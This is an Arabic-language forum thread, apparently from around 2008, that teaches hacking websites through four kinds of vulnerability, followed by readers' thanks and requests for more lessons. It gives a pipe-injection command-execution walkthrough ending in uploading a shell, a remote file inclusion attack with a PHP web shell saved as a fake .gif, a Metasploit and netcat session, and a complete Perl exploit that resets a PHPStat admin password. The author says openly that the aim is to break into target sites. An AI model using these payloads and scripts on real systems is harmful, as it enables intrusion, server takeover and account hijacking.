شرح انواع الثغرات وطريقة استغلالها

R.U.N.W.O.R.M

:: عضو مُتميز ::
إنضم
19 ديسمبر 2007
المشاركات
646
نقاط التفاعل
16
النقاط
17
السلام عليكم
في هذا الموضوع سوف نشرح بعض أنواع الثغرات وطريقة استغلالها
...
والثغرات بأختصار هي اخطاء برمجية يقع فيها المبرمجين تؤدي تلك الأخطاء الى استغلالها من قبل الهكر في أختراق النظام المستهدف
وهناك اخطاء برمجية كثيرة جدآ ومختلفة وكل خطاء لة استغلال معين

===================================
|1|
ثغرات تنفيذ الاوامر Command Execution
===================================
هذا النوع من الثغرات يحدث نتيجه استخدام دوال تنفيذ الاوامر في لغه PHP بشكل خاطئ ويتم استغلال الخطاء مباشرة في المتصفح بتنفيذ اوامر الليونكس
وتنقسم دوال تنفيذ الاوامر في لغة php
التي تنفذ بشكل مباشر الى system و popen و shell_exec و exec
هذه الدوال تنفذ اي برنامج نظام يمرر لها بشكل مباشر
وكمثال انظر الى هذا الاكسبلويت
كود:
[FONT=Tahoma][SIZE=3][COLOR=#fa6443][SIZE=2]Authors ....... spher3 (spher3 at  fatalimpulse dot net) 
Date .......... 04-07-2008 
Product ....... probe.cgi 
Type .......... Remote Command Execution 

o Info: 
================ 
That ****** is used to open file '.dat'. 

o Vulnerable Code: 
================ 
.. 
23 [...] 
24 $old = $query->param('olddat'); 
25 [...] 
.. 
.. 
34 [...] 
35 open (VF, "$olddat"); 
36 [...] 
.. 
(24) At this line, the cgi param 'olddat' is associated to one database. 
    This variable isn't checked by anyone matching, so you can  open 
    all file that you want. (35) At this line the ****** open the  file 
that you had chosen. With pipe `|` 
    is possible to execute arbitrary code on the shell. 

o Proof of concept: 
================ 

http://????.com/cgi-bin/probe.cgi?olddat=|id| 
uid=99(www) gid=99(www)[/SIZE]       [/COLOR][/SIZE][/FONT]

نفهم من هذا انه توجد ثغرة من نوع Command Execution
والملف المصاب هو probe.cgi
..والان لنرى كيف يتم استغلال هذه الثغرة
|http://????.com/cgi-bin/probe.cgi?olddat=|id

????.com= الموقع الافتراضي المستهدف
cgi-bin = مجلد cgi-bin
probe.cgi = الملف المصاب
olddat = مكان الاصابة داخل الملف

|id| : تعطي صلاحيتك بالسيرفر
بعد كتابتها اضغط على انتر سوف يظهر التالي
uid=99(www) gid=99(www)

والان نريد ان نعرف مكاننا على السيرفر
نكتب pwd في مكان id هكذا :
|http://????.com/cgi-bin/probe.cgi?olddat=|pwd
فيظهر لنا هذا:
/home/.????/cgi.bin

والان لنرى هل مسموح لنا برفع ملف ام لا؟؟
نضع مكان id
which wget هكذا :
|http://????.com/cgi-bin/probe.cgi?olddat=|which wget
اذا ظهر لك هذا /؟؟؟/؟؟؟/wget معناه مسموح برفع ملف
(علامات الاستفهام متغيرة اهم شيئ ان تظهر
wget )

والان نريد ان نعرف التصاريح للملفات والمجلدات لنعرف اين يمكننا الرفع:
منذ قليل قلنا ان مكاننا هو
/home/.????/cgi.bin
ونريد الخروج من ملف cgi.bin الى المجلد الرئيسي
لذلك نضع مكان الـ id
cd /home/.???/;pwd
هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/;pwd
ولكي نرى المجلدات والملفات والتصريحات نستعمل الامر
ls%20-al;هكذا:
|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/;ls%20-al

ثم نبحث عن المجلد الذي له تصريح :
drwxrwxrwx = 777
لنفرض انك حصلت أمام مجلد الصور أو uploads تصريح ( drwxrwxrwx = 777 )
ولندخل اليه نكتب هكذا:

|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/uploads/;pwd

والان كل ما عليك هو رفع الشل وبهذا نكون اكملنا طريقة استغلال هذا النوع من الثغرات


***
 
===================================

|2|
ثغرات File Inclusion
===================================

الثغرات المسماه Remote File Inclusion شبيهه بعمل Remote Command Execution

لكن الفرق يلزم
كود لرفعه لموقعك ومن ثم تأخذ رابطه وتستخدمه للاستغلال
مثال الاستغلال :

http://www.target.net/index.php?mode=http://site?&cmd

http://site = موقعك
?&cmd = كود مرفوع بموقعك
افتح النوت باد Notepad وادخل هذا الكود واحفظها باسم cmd.gif
كود:
 [CENTER] [FONT=Tahoma][SIZE=2][COLOR=#db5551]<? 
system($cmd); 
?> 
*/ [/COLOR][/SIZE][/FONT][/CENTER]


وعند الاستغلال

http://www.target.net/index.php?mode=http://site.com/cmd.gif?&cmd=id

و id التي في الآخر نضع مكانها الاوامر التي استعملناها في النوع السابق من الثغرات
...


وكما قلنا ان الفرق بين الثغرتين السابقتين هو
أن Remote File Inclusion فيها كود ترفعه على موقعك وتستخدم الأوامر مكان الآي دي id ((رابط موقعك مع الـ id ))

و
Remote Command Execution تستخدم أوامر اللينكس على مباشرة بدون كود مرفوع (( الـ idفقط ))



...

 
===================================
|3|

الثغرات المكتوبة بـ Framework
===================================

لاستغلال هذا النوع يجب ان يكون لدينا برنامج
Metasploit

- نعضع ملف الثغرة في المسار التالي
C:\Program Files\Metasploit Framework\home\framework\exploits

الثغرة تكون بامتداد PM
يمكن فتحها بالمفكرة ..ولاحظ اسم الثغرة:
21799124js5.png

الان نفتح برنامج
بالذهاب
إلي قائمة Start ثم Programs ثم Metasploit Framework ثم MSFConsole ...
73352845hl5.png


لتشغيل الثغرة اكتب هذا الامر
use php_vb3_0_6

34084962qs8.png

ولكي نستعرض الخيارات المتاحة نطبق الامر:
show payloads

82020158ef2.png


بعد ظهور الخيارات نختار منها cmd_generic بالامر
set PAYLOAD cmd_generic

90135347uy9.png


والان لنرى الخيارات داخل الخيار
cmd_generic نطبق الامر
show options

49970309cs7.png


والان نستخدم الخيارات بالترتيب بالاوامر:
set RHOST server's IP
server's IP = اي بي الموقع المستهدف
set RPATH /vb/misc.php
مكان الاصابة وهو متغير

ثم


set RPORT 80
ثم

set LHOST myIP
myiip
=الاي بي الخاصة بك
ثم

set LPORT 1234
والبورت انت حر في تغييره لكن يجب ان يكون نفسه عند الاتصال بالنت كات
والان استخدم اوامر اللينكس بالامر
set CMD id

40690202hi5.png


الان افتح النت كات وتنصت به بالامر
nc -vv -l -p 1234

وفي الاخير نستخدم الامر
exploit

50725869sg4.png


وسوف تظهر النتيجة بالنت كات

...
وهكذا نكون اكملنا الشرح لهذا النوع من الثغرات



 
===================================
|4|
الثغرات المكتوبة بـالـ Perl

===================================

- لاستغلال هذا النوع من الثغرات يلزمنا برنامج Active Perl

- اغلب اكواد البرل تبدأ بـ:
#!/usr/bin/perl

مثال :
كود:
[SIZE=2]#!/usr/bin/perl 
##################################################     ################### 
#T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m 
##################################################     ################### 
# EXPLOIT FOR - [COLOR=Red]PHPStat Setup.PHP Authentication Bypass Vulnerability [/COLOR]
# 
#Exploit By : A l p h a _ P r o g r a m m e r ( Sirus-v ) 
#E-Mail : Alpha_Programmer@Yahoo.com 
# 
#[COLOR=Red]This Xpl Change Admin's Pass in This Portal !! [/COLOR]
#Discovered by: SoulBlack 
# 
#Vulnerable Version : phpStat 1.5 
# 
##################################################     ################### 
# Gr33tz To ==> mh_p0rtal , Oil_karchack , Str0ke & AlphaST.Com 
# 
# So Iranian Hacking & Security Teams : 
# 
# Crouz , Shabgard , Simorgh-ev ,IHS , Emperor & GrayHatz.NeT 
##################################################     ################### 


use IO::Socket; 

if (@ARGV < 3) 
{ 
print "\n==========================================\n"; 
print " \n -- Exploit By Alpha Programmer --\n\n"; 
print " Trap-Set UnderGrounD Hacking Team \n\n"; 
print " Usage: <T4rg3t> <DIR> <Password>\n\n"; 
print "==========================================\n\n"; 
print "Examples:\n\n"; 
[COLOR=Red]print " phpStat.pl www.Site.com /phpstat/ 12345\n"; [/COLOR]
exit(); 
} 

my $host = $ARGV[0]; 
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "80" ); 

unless ($remote) { die "C4nn0t C0nn3ct to $host" } 

print "C0nn3cted\n"; 

$http = "GET $ARGV[1]setup.php?check=yes&username=admin&password=$ARGV[2] HTTP/1.0\n"; 
$http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\n"; 
$http .= "Host: $host\n\n\n\n"; 

print "[+]Sending H3ll Packet ...\n"; 
print $remote $http; 
sleep(1); 
print "[+]Wait For Authentication Bypass ...\n"; 
sleep(100); 
while (<$remote>) 
{ 
} 
print "[+]OK ! Now Goto $host$ARGV[1]setup.php And L0gin Whith:\n\n"; 
print "[+]User: admin\n"; 
print "[+]Pass: $ARGV[2]"; 
#  
[/SIZE]

نفهم من هذا الكود:
ان البرنامج المصاب هو :- PHPStat Setup
نوع الثغرة :- Authentication Bypass Vulnerability
معلومات عن عمل الثغرة :- تقوم بتغير باس ورد الادمن
www.site.com = الموقع الافتراضي المستهدف

والان نأتي للاستغلال:
- نقوم بحفظ الكود بالامتداد pl
مثلا :
phpbb.pl
- نقوم بوضع الكود في المجلد bin
C:\Perl\bin
- نفتح الدوس وندخل للمجلد bin كما بالصورة

01zo1.png


ثم نكتب الامر التالي:
perl phpbb.pl www.site.com /phpBB2/ 2
لنحصل في الاخير على شيئ يشبه ما في هذه الصورة

02sp9.png



وبهذا نكمل هذا النوع من الثغرات
...

الجزء الثاني من الموضوع هنــــــــــــــــــــــــــــا




 
شكرا لك ياr.u.n.w.o.m على مختلف شروحات انواع الثغرات
 
شكرا كونان على المرور الطيب
وان شاء الله سوف أكمل بقية الثغرات
في الجزء الثاني من الموضوع

 
ان شاء الله انا في الانتظار يا اخي
 
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
و الله يا الخوا مافهمت فيها والووووووووووو
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟









 
و الله حلــــــــــــــــــــــــو و راك فوووور
فووووور فوووووووووور
بصح ممكن توضح كل الدروس بالصورة
أرجووووووووووووك أنا أنتضر ردك أخي

العفو خويا
وبالنسبة للصور كنت اضعها كلما تطلب ذلك
لتسهيل الفهم
لكن انشاء الله في الدرس القادم سوف نعتمد على الصور أكثر
..
وشكرا على الرد والمرور العطر

 
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
و الله يا الخوا مافهمت فيها والووووووووووو
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟



هههه..
مع فنجان قهوة سير راح تكون:

580401780.gif

 
راني ننتضر فيك اخ لمين الدرس القادم راني مهتم هذه الايام بالثغرات بزاف و شكرا لك لقيت عندك كل الحلول راك مبارك ان شاء الله
 
راني ننتضر فيك اخ لمين الدرس القادم راني مهتم هذه الايام بالثغرات بزاف و شكرا لك لقيت عندك كل الحلول راك مبارك ان شاء الله

عذرا خويا سمير على التأخير
لكن ان شاء الله اليوم راح نكملو البقية
في امان الله

 
ان شاء الله اخي لمين و الله في النتضار بفارغ الصبر الله يخليك لنا ان شاء الله
 


بارك الله فيك .

ارجو الوقوف لحضة ولحضات ... عند ثغرات البيرل
من اخطر الثغرات

موفق بحول لله

بإنتضار باقي الدرس ...

لك تحية خاصة

بالفعل ثغرات البيرل من أخطر الثغرات
فهي تمكن من استخراج كلمات المرور
مباشرة او على شكل هاش
...
شكرا دوس على المرور والرد الجميل
تحياتي

 

هههه..
مع فنجان قهوة سير راح تكون:

580401780.gif


لي طلب ليك أخي لو سمحت :
ممكن تعطيني من وقتك .....تشرحلي ما هي الثغرة ؟
و ما هو الهدف من إستغلالها؟
هل تعتبر قرصنة؟
و ماهي الاوامر في لغه php
و ما هي الثغرات المكتوبة بـالـ Perl
و الدروس من الأول ......لو سمحت
لأني مبتدئ
و مشكووور مسبقاااا

 
لي طلب ليك أخي لو سمحت :
ممكن تعطيني من وقتك .....تشرحلي ما هي الثغرة ؟
و ما هو الهدف من إستغلالها؟
هل تعتبر قرصنة؟
و ماهي الاوامر في لغه php
و ما هي الثغرات المكتوبة بـالـ Perl
و الدروس من الأول ......لو سمحت
لأني مبتدئ
و مشكووور مسبقاااا

الثغرات كيما قلنا في الموضوع انها أخطاء برمجية يقع فيها المبرمجون
والهدف من استغلالها هو اختراق الموقع المستهدف
وقلنا لكل خطأ برمجي استغلال معين.. مثلا ثغرات البيرل
وبالنسبة لاوامر php فعليك الالمام بهذه اللغة

نتمنى نكون أفدتك خويا
وعذرا على التأخر في الاجابة.. ظروف..


 


الثغرات كيما قلنا في الموضوع انها أخطاء برمجية يقع فيها المبرمجون
والهدف من استغلالها هو اختراق الموقع المستهدف
وقلنا لكل خطأ برمجي استغلال معين.. مثلا ثغرات البيرل
وبالنسبة لاوامر php فعليك الالمام بهذه اللغة

نتمنى نكون أفدتك خويا
وعذرا على التأخر في الاجابة.. ظروف..


مشكور أخي على التوضيح لا عليك :thumbup:
و أظن أن الدخول في هذه العمليات خطر عليا

و مشكور مرة ثانية
 
بارك الله فيك أخي الكريم
شروحات و لا أروع لكن لو
تتكرم بشرح الثغرات الجديدة
تقبل تحياتي
 
بارك الله فيك أخي الكريم
شروحات و لا أروع لكن لو
تتكرم بشرح الثغرات الجديدة
تقبل تحياتي

ان شاء الله أخي
راح نضيف ثغرات أخرى
وشكرا لمرورك العطر
تحياتي

 
لإعلاناتكم وإشهاراتكم عبر صفحات منتدى اللمة الجزائرية، ولمزيد من التفاصيل ... تواصلوا معنا
العودة
Top